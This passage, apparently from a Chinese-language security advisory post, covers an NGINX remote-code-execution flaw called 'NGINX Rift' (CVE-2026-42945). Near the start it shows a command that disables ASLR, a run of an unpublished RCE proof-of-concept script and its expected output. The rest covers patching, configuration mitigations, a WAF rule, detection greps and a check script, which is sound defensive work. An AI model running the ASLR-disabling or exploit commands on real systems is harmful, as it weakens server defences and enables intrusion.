            \u5b8c\u6574\u7684RCE PoC\u8f83\u4e3a\u590d\u6742，\u6d89\u53ca\u5806\u55b7\u5c04\u548c\u5185\u5b58\u5e03\u5c40\u63a7\u5236，\u51fa\u4e8e\u5b89\u5168\u8003\u8651，\u672c\u6587\u4e0d\u63d0\u4f9b\u5b8c\u6574\u4ee3\u7801\u3002\u4f46\u9700\u8981\u8bf4\u660e\u7684\u662f，\u76ee\u524d\u516c\u5f00\u7684RCE PoC\u5728ASLR\u5173\u95ed\u7684\u73af\u5883\u4e0b\u53ef\u4ee5\u7a33\u5b9a\u6267\u884c\u4efb\u610f\u547d\u4ee4：<\/p>\n

            # \u5173\u95edASLR（\u4ec5\u7528\u4e8e\u6d4b\u8bd5！）<\/span>
            \necho<\/span> 0<\/span> ><\/span> \/proc\/sys\/kernel\/randomize_va_space<\/p>\n

            # \u8fd0\u884cRCE PoC<\/span>
            \npython3 nginx_rift_rce.py –target<\/span> http:\/\/localhost:8080 –command<\/span> "id"<\/span><\/p>\n

            \u9884\u671f\u8f93\u51fa：<\/p>\n

            [+] Target is vulnerable
            \n[+] Heap spray successful
            \n[+] Cleanup pointer overwritten
            \n[+] Command executed: id
            \nuid=101(nginx) gid=101(nginx) groups=101(nginx)<\/p>\n

            \n

            \u516d\u3001\u4fee\u590d\u65b9\u6848\u4e0e\u6700\u4f73\u5b9e\u8df5<\/h3>\n

            6.1 \u7acb\u5373\u5347\u7ea7\u5230\u5b89\u5168\u7248\u672c<\/h4>\n

            \u8fd9\u662f\u6700\u6839\u672c\u3001\u6700\u6709\u6548\u7684\u4fee\u590d\u65b9\u6cd5\u3002NGINX\u5b98\u65b9\u5df2\u7ecf\u53d1\u5e03\u4e86\u8865\u4e01\u7248\u672c：<\/p>\n\n\u4ea7\u54c1\u5b89\u5168\u7248\u672c<\/tr>\n\n\n\n
            NGINX Open Source<\/td>\n1.30.1+ \u6216 1.31.0+<\/td>\n<\/tr>\n
            NGINX Plus<\/td>\nR36 P4+ \u6216 R37+<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
            \u5404\u7cfb\u7edf\u5347\u7ea7\u547d\u4ee4<\/h5>\n

            Debian\/Ubuntu:<\/p>\n

            sudo<\/span> apt<\/span> update
            \nsudo<\/span> apt<\/span> upgrade nginx
            \nnginx -v<\/span> # \u786e\u8ba4\u7248\u672c >= 1.30.1<\/span>
            \nnginx -t<\/span> # \u9a8c\u8bc1\u914d\u7f6e\u6587\u4ef6<\/span>
            \nsudo<\/span> systemctl restart nginx<\/p>\n

            RHEL\/CentOS\/Rocky:<\/p>\n

            sudo<\/span> dnf update nginx
            \nnginx -v<\/span>
            \nnginx -t<\/span>
            \nsudo<\/span> systemctl restart nginx<\/p>\n

            Docker:<\/p>\n

            docker<\/span> pull nginx:1.30.1
            \ndocker<\/span> stop nginx-rift
            \ndocker<\/span> rm<\/span> nginx-rift
            \ndocker<\/span> run -d<\/span> -p<\/span> 8080<\/span>:80 –name<\/span> nginx-rift nginx:1.30.1<\/p>\n

            6.2 \u4e34\u65f6\u7f13\u89e3\u63aa\u65bd（\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u65f6）<\/h4>\n

            \u5982\u679c\u6682\u65f6\u65e0\u6cd5\u5347\u7ea7，\u53ef\u4ee5\u91c7\u53d6\u4ee5\u4e0b\u4e34\u65f6\u7f13\u89e3\u63aa\u65bd：<\/p>\n

            \u65b9\u6cd51：\u4fee\u6539\u5371\u9669\u7684rewrite\u914d\u7f6e<\/h5>\n

            \u5c06\u5305\u542b?\u548c\u672a\u547d\u540d\u6355\u83b7\u7ec4\u7684rewrite\u89c4\u5219\u62c6\u5206\u4e3a\u4e24\u6761，\u907f\u514d\u6807\u5fd7\u4f4d\u6cc4\u6f0f：<\/p>\n

            # \u5371\u9669\u914d\u7f6e
            \nrewrite ^\/api\/(.*)$ \/internal?migrated=true;
            \nset $original_endpoint $1;<\/p>\n

            # \u5b89\u5168\u914d\u7f6e
            \nrewrite ^\/api\/(.*)$ \/internal?migrated=true&original=$1;
            \n# \u6216\u8005
            \nset $original_endpoint $1;
            \nrewrite ^\/api\/(.*)$ \/internal?migrated=true;<\/p>\n

            \u65b9\u6cd52：\u542f\u7528WAF\u9632\u62a4<\/h5>\n

            \u5728NGINX\u524d\u9762\u90e8\u7f72WAF，\u62e6\u622a\u5305\u542b\u5927\u91cf\u7279\u6b8a\u5b57\u7b26\u7684\u6076\u610f\u8bf7\u6c42：<\/p>\n

            # \u5728server\u5757\u4e2d\u6dfb\u52a0
            \nlocation \/ {
            \n if ($request_uri ~ "&&&&&&") {
            \n return 403;
            \n }
            \n # \u5176\u4ed6\u914d\u7f6e
            \n}<\/p>\n

            \u65b9\u6cd53：\u786e\u4fddASLR\u5f00\u542f<\/h5>\n

            \u6240\u6709\u73b0\u4ee3Linux\u7cfb\u7edf\u9ed8\u8ba4\u90fd\u5f00\u542f\u4e86ASLR，\u4e0d\u8981\u624b\u52a8\u5173\u95ed：<\/p>\n

            # \u68c0\u67e5ASLR\u72b6\u6001<\/span>
            \ncat<\/span> \/proc\/sys\/kernel\/randomize_va_space
            \n# \u8f93\u51fa2\u8868\u793a\u5b8c\u5168\u5f00\u542f，\u8fd9\u662f\u9ed8\u8ba4\u503c<\/span><\/p>\n

            # \u5982\u679c\u4e0d\u662f2，\u4e34\u65f6\u5f00\u542f<\/span>
            \necho<\/span> 2<\/span> ><\/span> \/proc\/sys\/kernel\/randomize_va_space<\/p>\n

            # \u6c38\u4e45\u5f00\u542f，\u7f16\u8f91\/etc\/sysctl.conf<\/span>
            \nkernel.randomize_va_space =<\/span> 2<\/span><\/p>\n

            6.3 \u957f\u671f\u5b89\u5168\u6700\u4f73\u5b9e\u8df5<\/h4>\n
          • \u5efa\u7acb\u5b9a\u671f\u8865\u4e01\u7ba1\u7406\u673a\u5236：\u53ca\u65f6\u8ddf\u8fdbNGINX\u5b98\u65b9\u7684\u5b89\u5168\u516c\u544a<\/li>\n
          • \u4f7f\u7528\u6700\u5c0f\u6743\u9650\u539f\u5219：NGINX\u8fdb\u7a0b\u4ee5\u975eroot\u7528\u6237\u8fd0\u884c<\/li>\n
          • \u542f\u7528\u5185\u5b58\u4fdd\u62a4\u673a\u5236：\u786e\u4fdd\u7f16\u8bd1\u65f6\u5f00\u542f\u4e86Stack Canary\u3001NX\u548cASLR<\/li>\n
          • \u914d\u7f6e\u65e5\u5fd7\u76d1\u63a7：\u5b9e\u65f6\u76d1\u63a7error.log\u4e2d\u7684worker\u8fdb\u7a0b\u5d29\u6e83\u65e5\u5fd7<\/li>\n
          • \u5b9a\u671f\u5b89\u5168\u5ba1\u8ba1：\u68c0\u67e5NGINX\u914d\u7f6e\u6587\u4ef6\u4e2d\u7684\u5b89\u5168\u98ce\u9669<\/li>\n
          • \u4f7f\u7528\u5bb9\u5668\u5316\u90e8\u7f72：\u5229\u7528\u5bb9\u5668\u7684\u9694\u79bb\u7279\u6027\u964d\u4f4e\u653b\u51fb\u5f71\u54cd<\/li>\n
            \n

            \u4e03\u3001\u81ea\u67e5\u4e0e\u5e94\u6025\u54cd\u5e94\u6307\u5357<\/h3>\n

            7.1 \u6f0f\u6d1e\u81ea\u67e5\u6e05\u5355<\/h4>\n

            \u7acb\u5373\u6267\u884c\u4ee5\u4e0b\u68c0\u67e5，\u786e\u8ba4\u4f60\u7684\u7cfb\u7edf\u662f\u5426\u5b58\u5728\u98ce\u9669：<\/p>\n

            1. \u68c0\u67e5NGINX\u7248\u672c<\/h5>\n

            nginx -v<\/span>
            \n# \u5982\u679c\u8f93\u51fa nginx version: nginx\/1.30.0 \u6216\u66f4\u4f4e\u7248\u672c，\u5fc5\u53d7\u5f71\u54cd<\/span><\/p>\n

            2. \u68c0\u67e5\u662f\u5426\u5b58\u5728\u5371\u9669\u914d\u7f6e<\/h5>\n

            # \u641c\u7d22\u6240\u6709\u5305\u542b?\u548c$1\u7684rewrite\u89c4\u5219<\/span>
            \ngrep<\/span> -rE<\/span> "rewrite.*\\\\?.*\\\\$[0-9]+"<\/span> \/etc\/nginx\/<\/p>\n

            \u5982\u679c\u8f93\u51fa\u7c7b\u4f3c\u4ee5\u4e0b\u5185\u5bb9，\u8bf4\u660e\u5b58\u5728\u5371\u9669\u914d\u7f6e：<\/p>\n

            \/etc\/nginx\/conf.d\/default.conf: rewrite ^\/api\/(.*)$ \/internal?migrated=true;
            \n\/etc\/nginx\/conf.d\/default.conf: rewrite ^\/article\/(\\\\d+)\\\\.html$ \/article.php?id=$1&type=html;<\/p>\n

            3. \u68c0\u67e5\u662f\u5426\u5df2\u88ab\u653b\u51fb<\/h5>\n

            # \u68c0\u67e5error.log\u4e2d\u7684\u5d29\u6e83\u65e5\u5fd7<\/span>
            \ngrep<\/span> -i<\/span> "worker process exited"<\/span> \/var\/log\/nginx\/error.log<\/p>\n

            # \u68c0\u67e5access.log\u4e2d\u7684\u6076\u610f\u8bf7\u6c42<\/span>
            \ngrep<\/span> -E<\/span> "&&&&&"<\/span> \/var\/log\/nginx\/access.log<\/p>\n

            7.2 \u81ea\u52a8\u5316\u68c0\u6d4b\u811a\u672c<\/h4>\n

            \u6211\u7f16\u5199\u4e86\u4e00\u4e2a\u81ea\u52a8\u5316\u68c0\u6d4b\u811a\u672c，\u53ef\u4ee5\u5feb\u901f\u68c0\u67e5\u4f60\u7684NGINX\u670d\u52a1\u5668\u662f\u5426\u5b58\u5728CVE-2026-42945\u6f0f\u6d1e：<\/p>\n

            #!\/bin\/bash<\/span>
            \n# NGINX Rift(CVE-2026-42945)\u68c0\u6d4b\u811a\u672c<\/span><\/p>\n

            echo<\/span> "=== NGINX Rift(CVE-2026-42945)\u6f0f\u6d1e\u68c0\u6d4b ==="<\/span>
            \necho<\/span><\/p>\n

            # \u68c0\u67e5NGINX\u7248\u672c<\/span>
            \necho<\/span> "[+] \u68c0\u67e5NGINX\u7248\u672c…"<\/span>
            \nnginx_version<\/span>=<\/span>$(<\/span>nginx -v<\/span> 2<\/span>><\/span>&1<\/span> |<\/span> awk<\/span> -F\/ '{print $2}'<\/span>)<\/span><\/span>
            \necho<\/span> "\u5f53\u524d\u7248\u672c: $nginx_version<\/span>"<\/span><\/p>\n

            # \u7248\u672c\u6bd4\u8f83\u51fd\u6570<\/span>
            \nversion_ge<\/span>(<\/span>)<\/span> {<\/span>
            \n test<\/span> "$(<\/span>echo<\/span> "$@<\/span>"<\/span> |<\/span> tr<\/span> " "<\/span> "\\\\n<\/span>"<\/span> |<\/span> sort<\/span> -V<\/span> |<\/span> head<\/span> -n<\/span> 1<\/span>)<\/span><\/span>"<\/span> !=<\/span> "$1<\/span>"<\/span>
            \n}<\/span><\/p>\n

            if<\/span> version_ge "1.30.1"<\/span> "$nginx_version<\/span>"<\/span>;<\/span> then<\/span>
            \n echo<\/span> "[!] \u7248\u672c\u5b58\u5728\u6f0f\u6d1e！\u9700\u8981\u5347\u7ea7\u52301.30.1\u6216\u66f4\u9ad8\u7248\u672c"<\/span>
            \nelse<\/span>
            \n echo<\/span> "[+] \u7248\u672c\u5b89\u5168"<\/span>
            \nfi<\/span><\/p>\n

            echo<\/span><\/p>\n

            # \u68c0\u67e5\u5371\u9669\u914d\u7f6e<\/span>
            \necho<\/span> "[+] \u68c0\u67e5\u5371\u9669\u914d\u7f6e…"<\/span>
            \ndangerous_configs<\/span>=<\/span>$(<\/span>grep<\/span> -rE<\/span> "rewrite.*\\\\?.*\\\\$[0-9]+"<\/span> \/etc\/nginx\/ 2<\/span>><\/span>\/dev\/null)<\/span><\/span><\/p>\n

            if<\/span> [<\/span> -n<\/span> "$dangerous_configs<\/span>"<\/span> ]<\/span>;<\/span> then<\/span>
            \n echo<\/span> "[!] \u53d1\u73b0\u4ee5\u4e0b\u5371\u9669\u914d\u7f6e："<\/span>
            \n echo<\/span> "$dangerous_configs<\/span>"<\/span>
            \nelse<\/span>
            \n echo<\/span> "[+] \u672a\u53d1\u73b0\u5371\u9669\u914d\u7f6e"<\/span>
            \nfi<\/span><\/p>\n

            echo<\/span><\/p>\n

            # \u68c0\u67e5\u653b\u51fb\u65e5\u5fd7<\/span>
            \necho<\/span> "[+] \u68c0\u67e5\u653b\u51fb\u65e5\u5fd7…"<\/span>
            \nattack_logs<\/span>=<\/span>$(<\/span>grep<\/span> -i<\/span> "worker process exited"<\/span> \/var\/log\/nginx\/error.log 2<\/span>><\/span>\/dev\/null |<\/span> tail<\/span> -5<\/span>)<\/span><\/span><\/p>\n

            if<\/span> [<\/span> -n<\/span> "$attack_logs<\/span>"<\/span> ]<\/span>;<\/span> then<\/span>
            \n echo<\/span> "[!] \u53d1\u73b0\u4ee5\u4e0b\u5d29\u6e83\u65e5\u5fd7，\u53ef\u80fd\u5df2\u88ab\u653b\u51fb："<\/span>
            \n echo<\/span> "$attack_logs<\/span>"<\/span>
            \nelse<\/span>
            \n echo<\/span> "[+] \u672a\u53d1\u73b0\u653b\u51fb\u75d5\u8ff9"<\/span>
            \nfi<\/span><\/p>\n

            echo<\/span>
            \necho<\/span> "=== \u68c0\u6d4b\u5b8c\u6210 ==="<\/span><\/p>\n

            \u4f7f\u7528\u65b9\u6cd5：<\/p>\n

            chmod<\/span> +x nginx_rift_check.sh
            \nsudo<\/span> .\/nginx_rift_check.sh<\/p>\n

            7.3 \u5e94\u6025\u54cd\u5e94\u6b65\u9aa4<\/h4>\n

            \u5982\u679c\u786e\u8ba4\u4f60\u7684\u670d\u52a1\u5668\u5df2\u88ab\u5165\u4fb5，\u8bf7\u7acb\u5373\u6267\u884c\u4ee5\u4e0b\u6b65\u9aa4：<\/p>\n

          • \u9694\u79bb\u53d7\u611f\u67d3\u670d\u52a1\u5668：\u65ad\u5f00\u7f51\u7edc\u8fde\u63a5，\u9632\u6b62\u653b\u51fb\u6269\u6563<\/li>\n
          • \u4fdd\u7559\u73b0\u573a\u8bc1\u636e：\u5907\u4efd\u6240\u6709\u65e5\u5fd7\u6587\u4ef6\u548c\u7cfb\u7edf\u955c\u50cf<\/li>\n
          • \u6e05\u9664\u6076\u610f\u7a0b\u5e8f：\u67e5\u6740\u6316\u77ff\u7a0b\u5e8f\u3001\u540e\u95e8\u548c\u52d2\u7d22\u8f6f\u4ef6<\/li>\n
          • \u5347\u7ea7NGINX：\u7acb\u5373\u5347\u7ea7\u5230\u5b89\u5168\u7248\u672c<\/li>\n
          • \u4fee\u6539\u6240\u6709\u5bc6\u7801：\u5305\u62ec\u7cfb\u7edf\u5bc6\u7801\u3001\u6570\u636e\u5e93\u5bc6\u7801\u3001API\u5bc6\u94a5\u7b49<\/li>\n
          • \u5168\u9762\u5b89\u5168\u5ba1\u8ba1：\u68c0\u67e5\u662f\u5426\u5b58\u5728\u5176\u4ed6\u6f0f\u6d1e\u548c\u540e\u95e8<\/li>\n
          • \u6062\u590d\u4e1a\u52a1：\u5728\u786e\u8ba4\u5b89\u5168\u540e\u9010\u6b65\u6062\u590d\u670d\u52a1<\/li>\n
          • \u4e0a\u62a5\u4e8b\u4ef6：\u6309\u7167\u76f8\u5173\u89c4\u5b9a\u5411\u76d1\u7ba1\u90e8\u95e8\u4e0a\u62a5\u5b89\u5168\u4e8b\u4ef6<\/li>\n
            \n

            \u516b\u3001\u884c\u4e1a\u5f71\u54cd\u4e0e\u672a\u6765\u5c55\u671b<\/h3>\n

            8.1 \u5bf9\u4e92\u8054\u7f51\u57fa\u7840\u8bbe\u65bd\u7684\u5f71\u54cd<\/h4>\n

            NGINX Rift\u6f0f\u6d1e\u7684\u7206\u53d1\u518d\u6b21\u66b4\u9732\u4e86\u5f00\u6e90\u8f6f\u4ef6\u57fa\u7840\u8bbe\u65bd\u7684\u5b89\u5168\u8106\u5f31\u6027\u3002\u4e00\u4e2a\u6f5c\u4f0f\u4e8618\u5e74\u7684\u6f0f\u6d1e，\u5f71\u54cd\u4e86\u5168\u7403\u4e09\u5206\u4e4b\u4e00\u7684\u7f51\u7ad9，\u8fd9\u5728\u4e92\u8054\u7f51\u5386\u53f2\u4e0a\u662f\u524d\u6240\u672a\u6709\u7684\u3002<\/p>\n

            \u8fd9\u6b21\u4e8b\u4ef6\u5c06\u4ea7\u751f\u4ee5\u4e0b\u6df1\u8fdc\u5f71\u54cd：<\/p>\n

              \n
            • \u4e91\u670d\u52a1\u5546\u5c06\u52a0\u5f3a\u5b89\u5168\u5ba1\u67e5：\u5404\u5927\u4e91\u670d\u52a1\u5546\u5c06\u5bf9\u5176\u63d0\u4f9b\u7684NGINX\u955c\u50cf\u8fdb\u884c\u66f4\u4e25\u683c\u7684\u5b89\u5168\u5ba1\u8ba1<\/li>\n
            • \u4f01\u4e1a\u5c06\u52a0\u5feb\u8865\u4e01\u90e8\u7f72\u901f\u5ea6：\u4f01\u4e1a\u5c06\u5efa\u7acb\u66f4\u5feb\u901f\u7684\u5e94\u6025\u54cd\u5e94\u673a\u5236，\u7f29\u77ed\u6f0f\u6d1e\u4fee\u590d\u65f6\u95f4<\/li>\n
            • \u5f00\u6e90\u793e\u533a\u5c06\u6539\u8fdb\u5b89\u5168\u6d41\u7a0b：NGINX\u793e\u533a\u5c06\u52a0\u5f3a\u4ee3\u7801\u5ba1\u67e5\u548c\u5b89\u5168\u6d4b\u8bd5，\u9632\u6b62\u7c7b\u4f3c\u6f0f\u6d1e\u518d\u6b21\u51fa\u73b0<\/li>\n
            • \u5185\u5b58\u5b89\u5168\u8bed\u8a00\u5c06\u5f97\u5230\u66f4\u591a\u5173\u6ce8：\u8d8a\u6765\u8d8a\u591a\u7684\u57fa\u7840\u8bbe\u65bd\u9879\u76ee\u5c06\u8003\u8651\u4f7f\u7528Rust\u7b49\u5185\u5b58\u5b89\u5168\u8bed\u8a00\u91cd\u5199<\/li>\n<\/ul>\n

              8.2 \u5bf9\u672a\u6765\u5b89\u5168\u7814\u7a76\u7684\u542f\u793a<\/h4>\n

              NGINX Rift\u6f0f\u6d1e\u7684\u53d1\u73b0\u4e5f\u7ed9\u5b89\u5168\u7814\u7a76\u4eba\u5458\u5e26\u6765\u4e86\u91cd\u8981\u542f\u793a：<\/p>\n

                \n
              • \u72b6\u6001\u6cc4\u6f0f\u662f\u4e00\u7c7b\u88ab\u5ffd\u89c6\u7684\u6f0f\u6d1e：\u5f88\u591a\u6f0f\u6d1e\u4e0d\u662f\u7b80\u5355\u7684\u8fb9\u754c\u68c0\u67e5\u9519\u8bef，\u800c\u662f\u590d\u6742\u7684\u72b6\u6001\u7ba1\u7406\u95ee\u9898<\/li>\n
              • \u8001\u4ee3\u7801\u4e2d\u53ef\u80fd\u9690\u85cf\u7740\u5927\u91cf\u672a\u88ab\u53d1\u73b0\u7684\u6f0f\u6d1e：\u90a3\u4e9b\u7ecf\u8fc7\u591a\u5e74\u751f\u4ea7\u9a8c\u8bc1\u7684\u4ee3\u7801，\u5e76\u4e0d\u4e00\u5b9a\u662f\u5b89\u5168\u7684<\/li>\n
              • \u81ea\u52a8\u5316\u6f0f\u6d1e\u6316\u6398\u6280\u672f\u9700\u8981\u4e0d\u65ad\u6539\u8fdb：\u4f20\u7edf\u7684\u6a21\u7cca\u6d4b\u8bd5\u5f88\u96be\u53d1\u73b0\u8fd9\u7c7b\u9700\u8981\u7279\u5b9a\u914d\u7f6e\u548c\u72b6\u6001\u7684\u6f0f\u6d1e<\/li>\n
              • \u534f\u540c\u62ab\u9732\u673a\u5236\u81f3\u5173\u91cd\u8981：\u8fd9\u6b21\u6f0f\u6d1e\u7684\u6210\u529f\u62ab\u9732，\u5f97\u76ca\u4e8e\u7814\u7a76\u4eba\u5458\u548c\u5382\u5546\u7684\u826f\u597d\u5408\u4f5c<\/li>\n<\/ul>\n

                8.3 \u672a\u6765\u7684\u5b89\u5168\u6311\u6218<\/h4>\n

                \u968f\u7740\u8f6f\u4ef6\u7cfb\u7edf\u8d8a\u6765\u8d8a\u590d\u6742，\u672a\u6765\u6211\u4eec\u5c06\u9762\u4e34\u66f4\u591a\u7c7b\u4f3c\u7684\u5b89\u5168\u6311\u6218：<\/p>\n

                  \n
                • \u4f9b\u5e94\u94fe\u5b89\u5168\u98ce\u9669：\u8d8a\u6765\u8d8a\u591a\u7684\u6f0f\u6d1e\u6765\u81ea\u4e8e\u7b2c\u4e09\u65b9\u4f9d\u8d56\u5e93<\/li>\n
                • AI\u8f85\u52a9\u653b\u51fb：\u653b\u51fb\u8005\u5c06\u5229\u7528AI\u6280\u672f\u66f4\u5feb\u5730\u53d1\u73b0\u548c\u5229\u7528\u6f0f\u6d1e<\/li>\n
                • \u7269\u8054\u7f51\u8bbe\u5907\u5b89\u5168：\u5927\u91cf\u7269\u8054\u7f51\u8bbe\u5907\u4f7f\u7528\u8001\u65e7\u7684\u8f6f\u4ef6\u7248\u672c，\u96be\u4ee5\u5347\u7ea7<\/li>\n
                • \u4e91\u539f\u751f\u73af\u5883\u5b89\u5168：\u5bb9\u5668\u5316\u548c\u5fae\u670d\u52a1\u67b6\u6784\u5e26\u6765\u4e86\u65b0\u7684\u5b89\u5168\u6311\u6218<\/li>\n<\/ul>\n
                  \n

                  \u4e5d\u3001\u603b\u7ed3<\/h3>\n

                  NGINX Rift(CVE-2026-42945)\u662f2026\u5e74\u8fc4\u4eca\u4e3a\u6b62\u6700\u5371\u9669\u7684\u57fa\u7840\u8bbe\u65bd\u6f0f\u6d1e\u3002\u5b83\u6f5c\u4f0f\u4e8618\u5e74，\u5f71\u54cd\u4e86\u5168\u7403\u8d85\u8fc71.3\u4ebf\u4e2a\u7f51\u7ad9\u548cAPI\u7f51\u5173，\u5229\u7528\u95e8\u69db\u6781\u4f4e，\u4e14\u5728\u91ce\u5229\u7528\u5df2\u5927\u89c4\u6a21\u7206\u53d1\u3002<\/p>\n

                  \u6240\u6709\u66b4\u9732\u5728\u516c\u7f51\u7684NGINX\u670d\u52a1\u5668\u5fc5\u987b\u572872\u5c0f\u65f6\u5185\u5b8c\u6210\u5347\u7ea7，\u5426\u5219\u6781\u6709\u53ef\u80fd\u88ab\u5165\u4fb5，\u5bfc\u81f4\u670d\u52a1\u4e2d\u65ad\u3001\u6570\u636e\u6cc4\u9732\u751a\u81f3\u670d\u52a1\u5668\u88ab\u5b8c\u5168\u63a5\u7ba1\u3002<\/p>\n

                  \u5bf9\u4e8e\u65e0\u6cd5\u7acb\u5373\u5347\u7ea7\u7684\u670d\u52a1\u5668，\u5e94\u91c7\u53d6\u4e34\u65f6\u7f13\u89e3\u63aa\u65bd，\u4fee\u6539\u5371\u9669\u7684rewrite\u914d\u7f6e，\u542f\u7528WAF\u9632\u62a4，\u5e76\u786e\u4fddASLR\u5f00\u542f\u3002\u540c\u65f6，\u5e94\u52a0\u5f3a\u65e5\u5fd7\u76d1\u63a7，\u53ca\u65f6\u53d1\u73b0\u548c\u54cd\u5e94\u653b\u51fb\u3002<\/p>\n

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